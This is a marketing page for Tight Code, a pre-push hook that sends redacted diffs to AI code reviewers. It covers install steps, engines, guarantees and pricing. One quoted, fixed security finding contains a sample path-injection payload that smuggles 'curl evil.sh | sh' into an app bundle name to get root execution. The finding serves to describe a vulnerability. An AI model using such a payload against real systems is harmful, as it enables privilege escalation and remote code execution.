Runs in Claude Code. Option to add the Codex CLI.

Every push gets reviewed before it leaves your machine.

Tight Code runs in Claude Code, on your Mac, under the Claude Code login you already pay for. You can also add the Codex CLI to bring in OpenAI's reviewers under your Codex login. It is a git pre-push hook: it scans your local diff for secrets, redacts them, and hands the clean slices to a panel of AI reviewers. You choose whether a review can hold up a push: let it report in the background, or have it stop a push on a critical finding. Either way, one verdict lands on the dashboard, where every finding is tracked until it is fixed. A repository's first push waits for a one-time review of the whole codebase.

Coming soon

Compliance advisors: HIPAA, SOC 2 and information security

Three advisors that review every push against the requirements your code has to meet. You switch them on per repository and tell each one what data that repository handles, so it flags real exposure instead of guessing.

your terminal

$ git push
tightcode: github.com/scott-rippey/cc-blackbox @ 4e3829a | tier=full | agents: security, code_quality, performance, documentation, release | secrets: 0 | mode=shadow, auth=plan
tightcode: shadow review dispatched to background; push not delayed.
To github.com:scott-rippey/cc-blackbox.git
   d89852f..4e3829a  main -> main

That is the whole interruption. The review is already running; the verdict and any findings land on the dashboard.

See it run

Watch a push get reviewed, end to end

1:07

Proof

Real numbers from real use

Every figure comes from the developer who built Tight Code, running it on every push to personal projects and to live production systems built for clients. The three findings that follow are quoted from the review history, trimmed for length and not reworded.

3,151

findings raised

91%

of findings fixed, 2,869 of them, nearly all detected automatically on a later push

175

critical findings caught before they left the machine

1,648

reviews run

repositories under review

judged noise, every one with a written reason the engines see on the next push

criticalAnthropic security reviewFixedcc-blackbox · src/main/simulator-core.ts

xcodeSelectCommand(appPath) builds a sudo shell command by interpolating appPath directly inside a single pair of double quotes with no escaping. [...] ~/Applications is writable by any process running as the current (non-admin) user, so no elevated privileges are needed to plant a crafted bundle name there.

Exploit scenario: Unprivileged local malware/script creates ~/Applications/Xcode" ; curl evil.sh | sh #.app/Contents/Developer [...] the embedded " closes the quoted argument early, turning the rest into new shell commands appended after xcode-select -s. [...] If the user presses Return (the natural next step, this is a sudo command so they will also enter their password), the injected commands execute with root privileges.

warningOur specialist suiteFixedcall_coach_ai · src/middleware.ts

Transient allowlist RPC failure signs users out and redirects as unauthorized.

The is_email_allowed RPC result is destructured without checking error. On any transient failure (network blip, DB unavailable, RPC rename) isAllowed is undefined, which falls into the !isAllowed branch: the request signs the user out and redirects to /login?error=unauthorized. An allowlisted user is treated identically to a blocked one whenever the database hiccups.

warningOpenAI CodexFalse positivetight-code · apps/dashboard/lib/queries.ts

Review detail now dereferences r.engines.length without guarding null/non-array, so unbackfilled reviews can crash the detail page instead of falling back to agent-run engines.

Marked a false positive, with this reason

reviews.engines is text[] NOT NULL DEFAULT '{}' (verified live 2026-09-04: 0 null rows of 769; 6 empty-array rows take the .length fallback as before). The typed row guarantees an array; "unbackfilled" in the adjacent comment means empty, not null.

That reason is not just filed away. Every engine is shown it on the next push, so the same wrong call does not come back.

How it works

Four steps, no pull request required

01 · push

You push like normal

Install once on your Mac with Homebrew. From then on the hook takes the local diff, scans it for secrets, and redacts anything it finds before a single reviewer sees it. Nothing leaves your machine unredacted, and nothing changes about how you write code.

install once

$ brew install tightcode-dev/tap/tightcode
$ tightcode login
$ tightcode install-hook
# from here on, every push is reviewed
$ git push

02 · review

Up to four engines review it

A specialist suite of our own (security, code quality, performance, docs, release readiness), Anthropic's security review, and OpenAI Codex as an adversarial second opinion. One coordinator issues one verdict.

The review page: a coordinator fanning out to seven reviewers

03 · triage

Claude Code works the findings with you

The dashboard shows the verdict live. In your own Claude Code session, one command brings up the open queue and Claude goes through it with you, one finding at a time. It explains each one and proposes the fix; you approve it, or push back and have it double-check. Fixes are detected on your next push and close on their own.

The findings queue: warnings and suggestions waiting for a decision

04 · learn

It learns from your calls

Every dismissal and false positive keeps the reason you gave. Every engine sees those reasons on the next push, so the same noise does not come back, and they are re-checked against your code monthly in case the reason stops holding.

The dispositions ledger: each settled finding with the reason it was settled

The engines

Two vendors, four engines, one verdict

Every engine except our suite can be switched off, globally, per client or per repository. Every one of them is sandboxed with no tools and no network reach: they see the redacted diff and nothing else.

Our specialist suite

always on

Five specialists and a coordinator: security, code quality, performance, documentation, release readiness. The size of a push decides how many of them review it, and security reviews every push. In block mode their critical findings can stop a push, as can the Anthropic review's.

Anthropic's security review

second opinion

Anthropic's own security review prompt, run as a separate engine for a second opinion from a different model and a different author.

OpenAI Codex

advisory

A cross-vendor adversarial pass that never blocks. In practice it is the edge-case correctness reviewer, and it catches what a single vendor's models agree to miss.

OpenAI Codex Security

on demand

A threat-model driven scan over a fully redacted mirror of the codebase. Heavier and slower, so it is saved for onboarding a repo rather than every push.

Why it is different

It is not a pull request bot

Most AI review lives on the pull request

That works when a team has a central review step. It does nothing for the push you just made to your own branch, on your own machine, at midnight, with no one else to review it.

This one lives on git push

Which is where solo developers actually work. It still reviews every push a team member makes to a pull request branch, it just does not wait for the pull request to exist.

What it will not do

The guarantees that matter

Secrets never leave the machine

A deterministic secret scan runs before any AI reviewer is invoked, and anything it matches is redacted out of the diff. A detected secret reaches no engine and no database, ever.

You decide if it blocks

Let reviews report in the background, or have a critical finding stop the push. You can always bypass it, and if a vendor is down, the push goes straight through.

Your logins, never ours

The hook invokes your own unmodified Claude Code and Codex installs, and their logins never leave your Mac. API keys are optional: one you add for API billing or for the Analysis Copilot is stored encrypted and used only for your own account.

You approve every call

Claude Code proposes each fix and tells you why, and nothing changes until you approve it. When a finding is wrong, you dismiss it or mark it a false positive with a reason. Those reasons are what make it smarter: every engine sees them on the next push, and they are re-checked against your code monthly.

What it costs to run

You see what every review costs

Every review shows what each reviewer cost and how long it took, and the dashboard keeps a running total for the month, with Claude plan and API key spend kept apart.

On a Claude plan, reviews run on your plan's usage, with no charge per review. The figures here are what the same review would cost on an API key, from the developer's own reviews.

A small change

$0.73API equivalent

A few lines in ordinary files. Security and code quality review it. Typically $0.73, and nine in ten cost under $1.53. It takes about 30 seconds.

A typical push

$1.19API equivalent

A moderate change. Documentation joins security and code quality. Typically $1.19, and nine in ten cost under $2.66. It takes about a minute.

A large or security-sensitive push

$3.21API equivalent

A big change, or any change to a security-sensitive path. All five specialists review it. Typically $3.21, and nine in ten cost under $7.35. It takes about 3 minutes.

A repository's first push

$19.92API equivalent

The one-time review of the whole codebase that a new repository waits for. Typically $19.92, and nine in ten cost under $42.86. It takes about 16 minutes.

A budget for every repository

Give each repository a monthly budget. On a Claude plan the reviewers step down to lighter models as a repository nears it, and once it is reached that repository's reviews are skipped for the rest of the month. Your pushes never wait on a budget.

Pricing

One flat price, and no AI bill from us

$39per month, plus sales tax or VAT where it applies

✓The local hook and the review agents
✓The hosted dashboard: review history, findings queue, reports
✓Chat over your own review history with the Analysis Copilot (uses your own Anthropic API key)
✓Update alerts when a machine falls behind

What you bring

Your own AI subscriptions

A Claude plan or an Anthropic API key runs the first two engines. A ChatGPT plan or an OpenAI API key runs the Codex engines, which are optional and recommended. Both are billed to you by the vendor, never through us.

What you need

A Mac

Tight Code runs on macOS, on Apple Silicon or Intel, and installs with Homebrew. Windows and Linux are not supported yet. You also need Claude Code installed and signed in, since it runs the review engines on your machine.

That is the whole reason the price is flat. Tight Code does not meter, resell, or pay for a single model token, so what you push has no effect on what you pay us.